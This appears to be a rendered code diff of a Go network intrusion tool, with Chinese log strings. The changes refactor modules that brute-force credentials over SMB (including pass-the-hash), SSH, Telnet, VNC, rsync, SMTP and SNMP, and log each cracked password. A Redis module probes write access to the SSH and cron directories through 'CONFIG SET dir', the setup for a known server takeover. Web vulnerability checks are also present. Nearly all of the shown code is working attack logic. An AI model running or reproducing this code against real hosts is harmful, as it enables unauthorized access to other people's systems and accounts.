fmt.Printf("[-] 读取SSH目录测试响应失败: %v\n", err) fmt.Printf("读取SSH目录测试响应失败: %v\n", err)
return flag, flagCron, err return flag, flagCron, err
} }
fmt.Printf("[*] SSH目录测试响应: %s\n", text) fmt.Printf("[*] SSH目录测试响应: %s\n", text)
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
flag = true flag = true
fmt.Println("[+] SSH目录写入权限测试成功") fmt.Println("SSH目录写入权限测试成功")
} else { } else {
fmt.Println("[-] SSH目录写入权限测试失败") fmt.Println("SSH目录写入权限测试失败")
} }
// 测试定时任务目录写入权限 // 测试定时任务目录写入权限
fmt.Println("[*] 正在测试 /var/spool/cron/ 目录写入权限...") fmt.Println("[*] 正在测试 /var/spool/cron/ 目录写入权限...")
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")) _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil { if err != nil {
fmt.Printf("[-] 发送定时任务目录测试命令失败: %v\n", err) fmt.Printf("发送定时任务目录测试命令失败: %v\n", err)
return flag, flagCron, err return flag, flagCron, err
} }
text, err = readreply(conn) text, err = readreply(conn)
if err != nil { if err != nil {
fmt.Printf("[-] 读取定时任务目录测试响应失败: %v\n", err) fmt.Printf("读取定时任务目录测试响应失败: %v\n", err)
return flag, flagCron, err return flag, flagCron, err
} }
fmt.Printf("[*] 定时任务目录测试响应: %s\n", text) fmt.Printf("[*] 定时任务目录测试响应: %s\n", text)
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
flagCron = true flagCron = true
fmt.Println("[+] 定时任务目录写入权限测试成功") fmt.Println("定时任务目录写入权限测试成功")
} else { } else {
fmt.Println("[-] 定时任务目录写入权限测试失败") fmt.Println("定时任务目录写入权限测试失败")
} }
fmt.Printf("[*] 写入权限测试完成 - SSH权限: %v, Cron权限: %v\n", flag, flagCron) fmt.Printf("[*] 写入权限测试完成 - SSH权限: %v, Cron权限: %v\n", flag, flagCron)

View File

@ -102,7 +102,7 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况 // 处理错误情况
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] Rsync服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", errlog := fmt.Sprintf("Rsync服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err) info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog) Common.LogError(errlog)
@ -242,7 +242,7 @@ func RsyncConn(info *Common.HostInfo, user string, pass string) (bool, error) {
if strings.Contains(authResponse, "@RSYNCD: OK") { if strings.Contains(authResponse, "@RSYNCD: OK") {
// 模块不需要认证 // 模块不需要认证
if user == "" && pass == "" { if user == "" && pass == "" {
result := fmt.Sprintf("[+] Rsync服务 %v:%v 模块:%v 无需认证", host, port, moduleName) result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 无需认证", host, port, moduleName)
Common.LogSuccess(result) Common.LogSuccess(result)
return true, nil return true, nil
} }
@ -264,7 +264,7 @@ func RsyncConn(info *Common.HostInfo, user string, pass string) (bool, error) {
} }
if !strings.Contains(string(buffer[:n]), "@ERROR") { if !strings.Contains(string(buffer[:n]), "@ERROR") {
result := fmt.Sprintf("[+] Rsync服务 %v:%v 模块:%v 认证成功 用户名: %v 密码: %v", result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 认证成功 用户名: %v 密码: %v",
host, port, moduleName, user, pass) host, port, moduleName, user, pass)
Common.LogSuccess(result) Common.LogSuccess(result)
return true, nil return true, nil

View File

@ -15,67 +15,86 @@ func SmbScan(info *Common.HostInfo) (tmperr error) {
} }
threads := Common.BruteThreads threads := Common.BruteThreads
totalTasks := len(Common.Userdict["smb"]) * len(Common.Passwords)
taskChan := make(chan struct {
user string
pass string
}, totalTasks)
// 生成任务
for _, user := range Common.Userdict["smb"] {
for _, pass := range Common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
taskChan <- struct {
user string
pass string
}{user, pass}
}
}
close(taskChan)
var wg sync.WaitGroup var wg sync.WaitGroup
successChan := make(chan struct{}, 1) successChan := make(chan struct{}, 1)
// 启动工作线程 // 按用户分组处理
for i := 0; i < threads; i++ { for _, user := range Common.Userdict["smb"] {
wg.Add(1) taskChan := make(chan string, len(Common.Passwords))
go func() {
defer wg.Done()
for task := range taskChan {
select {
case <-successChan:
return
default:
}
success, err := doWithTimeOut(info, task.user, task.pass) for _, pass := range Common.Passwords {
if success { pass = strings.Replace(pass, "{user}", user, -1)
if Common.Domain != "" { taskChan <- pass
Common.LogSuccess(fmt.Sprintf("[+] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v", }
info.Host, info.Ports, Common.Domain, task.user, task.pass)) close(taskChan)
} else {
Common.LogSuccess(fmt.Sprintf("[+] SMB认证成功 %v:%v User:%v Pass:%v", for i := 0; i < threads; i++ {
info.Host, info.Ports, task.user, task.pass)) wg.Add(1)
go func(username string) {
defer wg.Done()
for pass := range taskChan {
select {
case <-successChan:
return
default:
}
success, err := doWithTimeOut(info, username, pass)
if success {
if Common.Domain != "" {
Common.LogSuccess(fmt.Sprintf("SMB认证成功 %s:%s %s\\%s:%s",
info.Host, info.Ports, Common.Domain, username, pass))
} else {
Common.LogSuccess(fmt.Sprintf("SMB认证成功 %s:%s %s:%s",
info.Host, info.Ports, username, pass))
}
successChan <- struct{}{}
// 成功后等待确保日志打印完成
time.Sleep(500 * time.Millisecond)
return
}
if err != nil {
Common.LogError(fmt.Sprintf("SMB认证失败 %s:%s %s:%s %v",
info.Host, info.Ports, username, pass, err))
// 等待失败日志打印完成
time.Sleep(100 * time.Millisecond)
if strings.Contains(err.Error(), "账号锁定") {
for range taskChan {
// 清空通道
}
time.Sleep(200 * time.Millisecond) // 确保锁定日志打印完成
return
}
} }
successChan <- struct{}{}
return
} }
if err != nil { }(user)
Common.LogError(fmt.Sprintf("[-] SMB认证失败 %v:%v User:%v Pass:%v Err:%v", }
info.Host, info.Ports, task.user, task.pass, err))
} wg.Wait()
}
}() select {
case <-successChan:
// 等待日志打印完成
time.Sleep(500 * time.Millisecond)
Common.LogWG.Wait()
return nil
default:
}
} }
wg.Wait() // 主函数结束前多等待一会
time.Sleep(500 * time.Millisecond)
Common.LogWG.Wait()
// 最后再等待一下,确保所有日志都打印完成
time.Sleep(500 * time.Millisecond)
return nil return nil
} }
func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
flag = false
options := smb.Options{ options := smb.Options{
Host: info.Host, Host: info.Host,
Port: 445, Port: 445,
@ -89,10 +108,9 @@ func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struc
if err == nil { if err == nil {
defer session.Close() defer session.Close()
if session.IsAuthenticated { if session.IsAuthenticated {
flag = true return true, nil
return flag, nil
} }
return flag, fmt.Errorf("认证失败") return false, fmt.Errorf("认证失败")
} }
// 清理错误信息中的换行符和多余空格 // 清理错误信息中的换行符和多余空格
@ -100,24 +118,24 @@ func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struc
if strings.Contains(errMsg, "NT Status Error") { if strings.Contains(errMsg, "NT Status Error") {
switch { switch {
case strings.Contains(errMsg, "STATUS_LOGON_FAILURE"): case strings.Contains(errMsg, "STATUS_LOGON_FAILURE"):
err = fmt.Errorf("用户名或密码错误") err = fmt.Errorf("密码错误")
case strings.Contains(errMsg, "STATUS_ACCOUNT_LOCKED_OUT"): case strings.Contains(errMsg, "STATUS_ACCOUNT_LOCKED_OUT"):
err = fmt.Errorf("账号锁定") err = fmt.Errorf("账号锁定")
case strings.Contains(errMsg, "STATUS_ACCESS_DENIED"): case strings.Contains(errMsg, "STATUS_ACCESS_DENIED"):
err = fmt.Errorf("访问被拒绝") err = fmt.Errorf("拒绝访问")
case strings.Contains(errMsg, "STATUS_ACCOUNT_DISABLED"): case strings.Contains(errMsg, "STATUS_ACCOUNT_DISABLED"):
err = fmt.Errorf("账号禁用") err = fmt.Errorf("账号禁用")
case strings.Contains(errMsg, "STATUS_PASSWORD_EXPIRED"): case strings.Contains(errMsg, "STATUS_PASSWORD_EXPIRED"):
err = fmt.Errorf("密码过期") err = fmt.Errorf("密码过期")
case strings.Contains(errMsg, "STATUS_USER_SESSION_DELETED"): case strings.Contains(errMsg, "STATUS_USER_SESSION_DELETED"):
return flag, fmt.Errorf("会话断开") return false, fmt.Errorf("会话断开")
default: default:
err = fmt.Errorf("认证失败") // 简化错误信息 err = fmt.Errorf("认证失败")
} }
} }
signal <- struct{}{} signal <- struct{}{}
return flag, err return false, err
} }
func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) { func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
@ -142,7 +160,6 @@ func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool,
case r := <-result: case r := <-result:
return r.success, r.err return r.success, r.err
case <-time.After(time.Duration(Common.Timeout) * time.Second): case <-time.After(time.Duration(Common.Timeout) * time.Second):
// 尝试从result通道读取避免协程泄露
select { select {
case r := <-result: case r := <-result:
return r.success, r.err return r.success, r.err

View File

@ -27,190 +27,155 @@ func SmbScan2(info *Common.HostInfo) (tmperr error) {
return smbPasswordScan(info) return smbPasswordScan(info)
} }
// smbHashScan 使用哈希进行认证扫描 // smbPasswordScan 使用密码进行认证扫描
func smbHashScan(info *Common.HostInfo) error { func smbPasswordScan(info *Common.HostInfo) error {
maxRetries := Common.MaxRetries if Common.DisableBrute {
threads := Common.BruteThreads return nil
hasprint := false
// 创建任务通道
taskChan := make(chan struct {
user string
hash []byte
}, len(Common.Userdict["smb"])*len(Common.HashBytes))
resultChan := make(chan error, threads)
// 生成所有用户名和哈希组合任务
for _, user := range Common.Userdict["smb"] {
for _, hash := range Common.HashBytes {
taskChan <- struct {
user string
hash []byte
}{user, hash}
}
} }
close(taskChan)
// 启动工作线程 threads := Common.BruteThreads
var wg sync.WaitGroup var wg sync.WaitGroup
successChan := make(chan struct{}, 1)
hasprint := false
var hasPrintMutex sync.Mutex var hasPrintMutex sync.Mutex
for i := 0; i < threads; i++ { // 改成按用户分组处理
wg.Add(1) for _, user := range Common.Userdict["smb"] {
go func() { // 为每个用户创建密码任务通道
defer wg.Done() taskChan := make(chan string, len(Common.Passwords))
startTime := time.Now().Unix()
for task := range taskChan { // 生成该用户的所有密码任务
// 重试循环 for _, pass := range Common.Passwords {
for retryCount := 0; retryCount < maxRetries; retryCount++ { pass = strings.ReplaceAll(pass, "{user}", user)
// 检查是否超时 taskChan <- pass
if time.Now().Unix()-startTime > int64(Common.Timeout) { }
resultChan <- fmt.Errorf("扫描超时") close(taskChan)
// 启动工作线程
for i := 0; i < threads; i++ {
wg.Add(1)
go func(username string) {
defer wg.Done()
for pass := range taskChan {
select {
case <-successChan:
return return
default:
time.Sleep(100 * time.Millisecond)
} }
// 执行SMB2认证 // 重试循环
done := make(chan struct { for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
success bool
err error
printed bool
})
go func(user string, hash []byte) {
hasPrintMutex.Lock() hasPrintMutex.Lock()
currentHasPrint := hasprint currentHasPrint := hasprint
hasPrintMutex.Unlock() hasPrintMutex.Unlock()
success, err, printed := Smb2Con(info, user, "", hash, currentHasPrint) success, err, printed := Smb2Con(info, username, pass, []byte{}, currentHasPrint)
if printed { if printed {
hasPrintMutex.Lock() hasPrintMutex.Lock()
hasprint = true hasprint = true
hasPrintMutex.Unlock() hasPrintMutex.Unlock()
time.Sleep(100 * time.Millisecond)
} }
done <- struct { if success {
success bool logSuccessfulAuth(info, username, pass, []byte{})
err error time.Sleep(100 * time.Millisecond)
printed bool successChan <- struct{}{}
}{success, err, printed}
}(task.user, task.hash)
// 等待结果或超时
select {
case result := <-done:
if result.success {
logSuccessfulAuth(info, task.user, "", task.hash)
resultChan <- nil
return return
} }
if result.err != nil { if err != nil {
logFailedAuth(info, task.user, "", task.hash, result.err) logFailedAuth(info, username, pass, []byte{}, err)
time.Sleep(100 * time.Millisecond)
// 检查是否需要重试 // 检查是否账户锁定
if retryErr := Common.CheckErrs(result.err); retryErr != nil { if strings.Contains(err.Error(), "user account has been automatically locked") {
if retryCount == maxRetries-1 { // 发现账户锁定,清空任务通道并返回
resultChan <- result.err for range taskChan {
return // 清空通道
} }
continue // 继续重试 return
}
// 其他登录失败情况
if strings.Contains(err.Error(), "LOGIN_FAILED") ||
strings.Contains(err.Error(), "Authentication failed") ||
strings.Contains(err.Error(), "attempted logon is invalid") ||
strings.Contains(err.Error(), "bad username or authentication") {
break
}
if retryCount < Common.MaxRetries-1 {
time.Sleep(time.Second * time.Duration(retryCount+2))
continue
} }
} }
break
case <-time.After(time.Duration(Common.Timeout) * time.Second):
logFailedAuth(info, task.user, "", task.hash, fmt.Errorf("连接超时"))
} }
break // 如果不需要重试,跳出重试循环
} }
}(user)
}
if len(Common.HashValue) > 0 { wg.Wait() // 等待当前用户的所有密码尝试完成
break
}
}
resultChan <- nil
}()
}
// 等待所有线程完成 // 检查是否已经找到正确密码
go func() { select {
wg.Wait() case <-successChan:
close(resultChan) return nil
}() default:
// 检查结果
for err := range resultChan {
if err != nil {
if retryErr := Common.CheckErrs(err); retryErr != nil {
return err
}
} }
} }
time.Sleep(200 * time.Millisecond)
return nil return nil
} }
// smbPasswordScan 使用密码进行认证扫描 func smbHashScan(info *Common.HostInfo) error {
func smbPasswordScan(info *Common.HostInfo) error { if Common.DisableBrute {
maxRetries := Common.MaxRetries return nil
threads := Common.BruteThreads
hasprint := false
// 创建任务通道
taskChan := make(chan struct {
user string
pass string
}, len(Common.Userdict["smb"])*len(Common.Passwords))
resultChan := make(chan error, threads)
// 生成所有用户名密码组合任务
for _, user := range Common.Userdict["smb"] {
for _, pass := range Common.Passwords {
pass = strings.ReplaceAll(pass, "{user}", user)
taskChan <- struct {
user string
pass string
}{user, pass}
}
} }
close(taskChan)
// 启动工作线程 threads := Common.BruteThreads
var wg sync.WaitGroup var wg sync.WaitGroup
successChan := make(chan struct{}, 1)
hasprint := false
var hasPrintMutex sync.Mutex var hasPrintMutex sync.Mutex
for i := 0; i < threads; i++ { // 按用户分组处理
wg.Add(1) for _, user := range Common.Userdict["smb"] {
go func() { // 为每个用户创建hash任务通道
defer wg.Done() taskChan := make(chan []byte, len(Common.HashBytes))
startTime := time.Now().Unix()
for task := range taskChan { // 生成该用户的所有hash任务
// 重试循环 for _, hash := range Common.HashBytes {
for retryCount := 0; retryCount < maxRetries; retryCount++ { taskChan <- hash
// 检查是否超时 }
if time.Now().Unix()-startTime > int64(Common.Timeout) { close(taskChan)
resultChan <- fmt.Errorf("扫描超时")
// 启动工作线程
for i := 0; i < threads; i++ {
wg.Add(1)
go func(username string) {
defer wg.Done()
for hash := range taskChan {
select {
case <-successChan:
return return
default:
} }
// 执行SMB2认证 // 重试循环
done := make(chan struct { for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
success bool
err error
printed bool
})
go func(user, pass string) {
hasPrintMutex.Lock() hasPrintMutex.Lock()
currentHasPrint := hasprint currentHasPrint := hasprint
hasPrintMutex.Unlock() hasPrintMutex.Unlock()
success, err, printed := Smb2Con(info, user, pass, []byte{}, currentHasPrint) success, err, printed := Smb2Con(info, username, "", hash, currentHasPrint)
if printed { if printed {
hasPrintMutex.Lock() hasPrintMutex.Lock()
@ -218,62 +183,50 @@ func smbPasswordScan(info *Common.HostInfo) error {
hasPrintMutex.Unlock() hasPrintMutex.Unlock()
} }
done <- struct { if success {
success bool logSuccessfulAuth(info, username, "", hash)
err error successChan <- struct{}{}
printed bool
}{success, err, printed}
}(task.user, task.pass)
// 等待结果或超时
select {
case result := <-done:
if result.success {
logSuccessfulAuth(info, task.user, task.pass, []byte{})
resultChan <- nil
return return
} }
if result.err != nil { if err != nil {
logFailedAuth(info, task.user, task.pass, []byte{}, result.err) logFailedAuth(info, username, "", hash, err)
// 检查是否需要重试 // 检查是否账户锁定
if retryErr := Common.CheckErrs(result.err); retryErr != nil { if strings.Contains(err.Error(), "user account has been automatically locked") {
if retryCount == maxRetries-1 { // 发现账户锁定,清空任务通道并返回
resultChan <- result.err for range taskChan {
return // 清空通道
} }
continue // 继续重试 return
}
// 其他登录失败情况
if strings.Contains(err.Error(), "LOGIN_FAILED") ||
strings.Contains(err.Error(), "Authentication failed") ||
strings.Contains(err.Error(), "attempted logon is invalid") ||
strings.Contains(err.Error(), "bad username or authentication") {
break
}
if retryCount < Common.MaxRetries-1 {
time.Sleep(time.Second * time.Duration(retryCount+1))
continue
} }
} }
break
case <-time.After(time.Duration(Common.Timeout) * time.Second):
logFailedAuth(info, task.user, task.pass, []byte{}, fmt.Errorf("连接超时"))
} }
break // 如果不需要重试,跳出重试循环
} }
}(user)
}
if len(Common.HashValue) > 0 { wg.Wait() // 等待当前用户的所有hash尝试完成
break
}
}
resultChan <- nil
}()
}
// 等待所有线程完成 // 检查是否已经找到正确凭据
go func() { select {
wg.Wait() case <-successChan:
close(resultChan) return nil
}() default:
// 检查结果
for err := range resultChan {
if err != nil {
if retryErr := Common.CheckErrs(err); retryErr != nil {
return err
}
} }
} }
@ -284,17 +237,17 @@ func smbPasswordScan(info *Common.HostInfo) error {
func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) { func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
var result string var result string
if Common.Domain != "" { if Common.Domain != "" {
result = fmt.Sprintf("[+] SMB2认证成功 %v:%v Domain:%v\\%v ", result = fmt.Sprintf("SMB2认证成功 %s:%s %s\\%s",
info.Host, info.Ports, Common.Domain, user) info.Host, info.Ports, Common.Domain, user)
} else { } else {
result = fmt.Sprintf("[+] SMB2认证成功 %v:%v User:%v ", result = fmt.Sprintf("SMB2认证成功 %s:%s %s",
info.Host, info.Ports, user) info.Host, info.Ports, user)
} }
if len(hash) > 0 { if len(hash) > 0 {
result += fmt.Sprintf("HashValue:%v", Common.HashValue) result += fmt.Sprintf(" Hash:%s", Common.HashValue)
} else { } else {
result += fmt.Sprintf("Pass:%v", pass) result += fmt.Sprintf(" Pass:%s", pass)
} }
Common.LogSuccess(result) Common.LogSuccess(result)
} }
@ -303,10 +256,10 @@ func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) { func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) {
var errlog string var errlog string
if len(hash) > 0 { if len(hash) > 0 {
errlog = fmt.Sprintf("[-] SMB2认证失败 %v:%v User:%v HashValue:%v Err:%v", errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s Hash:%s %v",
info.Host, info.Ports, user, Common.HashValue, err) info.Host, info.Ports, user, Common.HashValue, err)
} else { } else {
errlog = fmt.Sprintf("[-] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v", errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s:%s %v",
info.Host, info.Ports, user, pass, err) info.Host, info.Ports, user, pass, err)
} }
errlog = strings.ReplaceAll(errlog, "\n", " ") errlog = strings.ReplaceAll(errlog, "\n", " ")
@ -379,24 +332,20 @@ func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, haspr
// logShareInfo 记录SMB共享信息 // logShareInfo 记录SMB共享信息
func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) { func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) {
var result string var result string
// 构建基础信息
if Common.Domain != "" { if Common.Domain != "" {
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v Domain:%v\\%v ", result = fmt.Sprintf("SMB2共享信息 %s:%s %s\\%s",
info.Host, info.Ports, Common.Domain, user) info.Host, info.Ports, Common.Domain, user)
} else { } else {
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v User:%v ", result = fmt.Sprintf("SMB2共享信息 %s:%s %s",
info.Host, info.Ports, user) info.Host, info.Ports, user)
} }
// 添加认证信息
if len(hash) > 0 { if len(hash) > 0 {
result += fmt.Sprintf("HashValue:%v ", Common.HashValue) result += fmt.Sprintf(" Hash:%s", Common.HashValue)
} else { } else {
result += fmt.Sprintf("Pass:%v ", pass) result += fmt.Sprintf(" Pass:%s", pass)
} }
// 添加共享列表 result += fmt.Sprintf(" 共享:%v", shares)
result += fmt.Sprintf("可用共享: %v", shares) Common.LogInfo(result)
Common.LogSuccess(result)
} }

View File

@ -102,7 +102,7 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况 // 处理错误情况
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] SMTP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", errlog := fmt.Sprintf("SMTP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err) info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog) Common.LogError(errlog)
@ -180,7 +180,7 @@ func SmtpConn(info *Common.HostInfo, user string, pass string) (bool, error) {
} }
// 如果成功 // 如果成功
result := fmt.Sprintf("[+] SMTP服务 %v:%v ", host, port) result := fmt.Sprintf("SMTP服务 %v:%v ", host, port)
if user != "" { if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else { } else {

View File

@ -71,7 +71,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
err = result.err err = result.err
if result.success && err == nil { if result.success && err == nil {
// 连接成功 // 连接成功
successLog := fmt.Sprintf("[+] SNMP服务 %v:%v community: %v 连接成功", successLog := fmt.Sprintf("SNMP服务 %v:%v community: %v 连接成功",
info.Host, info.Ports, community) info.Host, info.Ports, community)
Common.LogSuccess(successLog) Common.LogSuccess(successLog)
resultChan <- nil resultChan <- nil
@ -83,7 +83,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况 // 处理错误情况
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] SNMP服务 %v:%v 尝试失败 community: %v 错误: %v", errlog := fmt.Sprintf("SNMP服务 %v:%v 尝试失败 community: %v 错误: %v",
info.Host, info.Ports, community, err) info.Host, info.Ports, community, err)
Common.LogError(errlog) Common.LogError(errlog)
@ -150,7 +150,7 @@ func SNMPConnect(info *Common.HostInfo, community string, portNum int) (bool, er
} }
if len(result.Variables) > 0 { if len(result.Variables) > 0 {
success := fmt.Sprintf("[+] SNMP服务 %v:%v community: %v", success := fmt.Sprintf("SNMP服务 %v:%v community: %v",
host, portNum, community) // 使用portNum替换port host, portNum, community) // 使用portNum替换port
if result.Variables[0].Type != gosnmp.NoSuchObject { if result.Variables[0].Type != gosnmp.NoSuchObject {

View File

@ -71,7 +71,7 @@ func SshScan(info *Common.HostInfo) (tmperr error) {
} }
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v", errlog := fmt.Sprintf("SSH认证失败 %v:%v User:%v Pass:%v Err:%v",
info.Host, info.Ports, task.user, task.pass, err) info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog) Common.LogError(errlog)
@ -120,12 +120,12 @@ func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
if Common.SshKeyPath != "" { if Common.SshKeyPath != "" {
pemBytes, err := ioutil.ReadFile(Common.SshKeyPath) pemBytes, err := ioutil.ReadFile(Common.SshKeyPath)
if err != nil { if err != nil {
return false, fmt.Errorf("[-] 读取密钥失败: %v", err) return false, fmt.Errorf("读取密钥失败: %v", err)
} }
signer, err := ssh.ParsePrivateKey(pemBytes) signer, err := ssh.ParsePrivateKey(pemBytes)
if err != nil { if err != nil {
return false, fmt.Errorf("[-] 解析密钥失败: %v", err) return false, fmt.Errorf("解析密钥失败: %v", err)
} }
auth = []ssh.AuthMethod{ssh.PublicKeys(signer)} auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
} else { } else {
@ -161,18 +161,18 @@ func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
return true, err return true, err
} }
if Common.SshKeyPath != "" { if Common.SshKeyPath != "" {
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v\n命令输出:\n%v", Common.LogSuccess(fmt.Sprintf("SSH密钥认证成功 %v:%v\n命令输出:\n%v",
info.Host, info.Ports, string(output))) info.Host, info.Ports, string(output)))
} else { } else {
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v", Common.LogSuccess(fmt.Sprintf("SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v",
info.Host, info.Ports, user, pass, string(output))) info.Host, info.Ports, user, pass, string(output)))
} }
} else { } else {
if Common.SshKeyPath != "" { if Common.SshKeyPath != "" {
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v", Common.LogSuccess(fmt.Sprintf("SSH密钥认证成功 %v:%v",
info.Host, info.Ports)) info.Host, info.Ports))
} else { } else {
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v", Common.LogSuccess(fmt.Sprintf("SSH认证成功 %v:%v User:%v Pass:%v",
info.Host, info.Ports, user, pass)) info.Host, info.Ports, user, pass))
} }
} }

View File

@ -81,14 +81,14 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) {
err = result.err err = result.err
if result.noAuth { if result.noAuth {
// 无需认证 // 无需认证
result := fmt.Sprintf("[+] Telnet服务 %v:%v 无需认证", result := fmt.Sprintf("Telnet服务 %v:%v 无需认证",
info.Host, info.Ports) info.Host, info.Ports)
Common.LogSuccess(result) Common.LogSuccess(result)
resultChan <- nil resultChan <- nil
return return
} else if result.success { } else if result.success {
// 成功爆破 // 成功爆破
result := fmt.Sprintf("[+] Telnet服务 %v:%v 用户名:%v 密码:%v", result := fmt.Sprintf("Telnet服务 %v:%v 用户名:%v 密码:%v",
info.Host, info.Ports, task.user, task.pass) info.Host, info.Ports, task.user, task.pass)
Common.LogSuccess(result) Common.LogSuccess(result)
resultChan <- nil resultChan <- nil
@ -100,7 +100,7 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况 // 处理错误情况
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] Telnet连接失败 %v:%v 用户名:%v 密码:%v 错误:%v", errlog := fmt.Sprintf("Telnet连接失败 %v:%v 用户名:%v 密码:%v 错误:%v",
info.Host, info.Ports, task.user, task.pass, err) info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog) Common.LogError(errlog)

View File

@ -67,7 +67,7 @@ func VncScan(info *Common.HostInfo) (tmperr error) {
err = result.err err = result.err
if result.success && err == nil { if result.success && err == nil {
// 连接成功 // 连接成功
successLog := fmt.Sprintf("[+] %s://%v:%v 密码: %v", successLog := fmt.Sprintf("%s://%v:%v 密码: %v",
modename, info.Host, info.Ports, pass) modename, info.Host, info.Ports, pass)
Common.LogSuccess(successLog) Common.LogSuccess(successLog)
resultChan <- nil resultChan <- nil
@ -79,7 +79,7 @@ func VncScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况 // 处理错误情况
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] %s://%v:%v 尝试密码: %v 错误: %v", errlog := fmt.Sprintf("%s://%v:%v 尝试密码: %v 错误: %v",
modename, info.Host, info.Ports, pass, err) modename, info.Host, info.Ports, pass, err)
Common.LogError(errlog) Common.LogError(errlog)

View File

@ -35,7 +35,7 @@ func WebTitle(info *Common.HostInfo) error {
if !Common.DisablePoc && err == nil { if !Common.DisablePoc && err == nil {
WebScan.WebScan(info) WebScan.WebScan(info)
} else { } else {
errlog := fmt.Sprintf("[-] 网站标题 %v %v", info.Url, err) errlog := fmt.Sprintf("网站标题 %v %v", info.Url, err)
Common.LogError(errlog) Common.LogError(errlog)
} }
@ -185,7 +185,7 @@ func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
} }
// 输出结果 // 输出结果
result := fmt.Sprintf("[*] 网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v", result := fmt.Sprintf("网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
resp.Request.URL, resp.StatusCode, length, title) resp.Request.URL, resp.StatusCode, length, title)
if reurl != "" { if reurl != "" {
result += fmt.Sprintf(" 重定向地址: %s", reurl) result += fmt.Sprintf(" 重定向地址: %s", reurl)
@ -297,7 +297,7 @@ func GetProtocol(host string, Timeout int64) (protocol string) {
if conn != nil { if conn != nil {
defer func() { defer func() {
if err := recover(); err != nil { if err := recover(); err != nil {
Common.LogError(err) Common.LogError(fmt.Sprintf("连接关闭时发生错误: %v", err))
} }
}() }()
conn.Close() conn.Close()

View File

@ -44,15 +44,10 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
for i := 0; i < workers; i++ { for i := 0; i < workers; i++ {
go func() { go func() {
for task := range tasks { for task := range tasks {
// 执行POC检测
isVulnerable, details, vulName := executePoc(task.Req, task.Poc) isVulnerable, details, vulName := executePoc(task.Req, task.Poc)
if isVulnerable { if isVulnerable {
// 格式化输出结果 result := fmt.Sprintf("目标: %s\n 漏洞类型: %s\n 漏洞名称: %s\n 详细信息: %s",
result := fmt.Sprintf("[+] [发现漏洞] 目标: %s\n"+
" 漏洞类型: %s\n"+
" 漏洞名称: %s\n"+
" 详细信息: %s",
task.Req.URL, task.Req.URL,
task.Poc.Name, task.Poc.Name,
vulName, vulName,
@ -101,13 +96,13 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
// 创建执行环境 // 创建执行环境
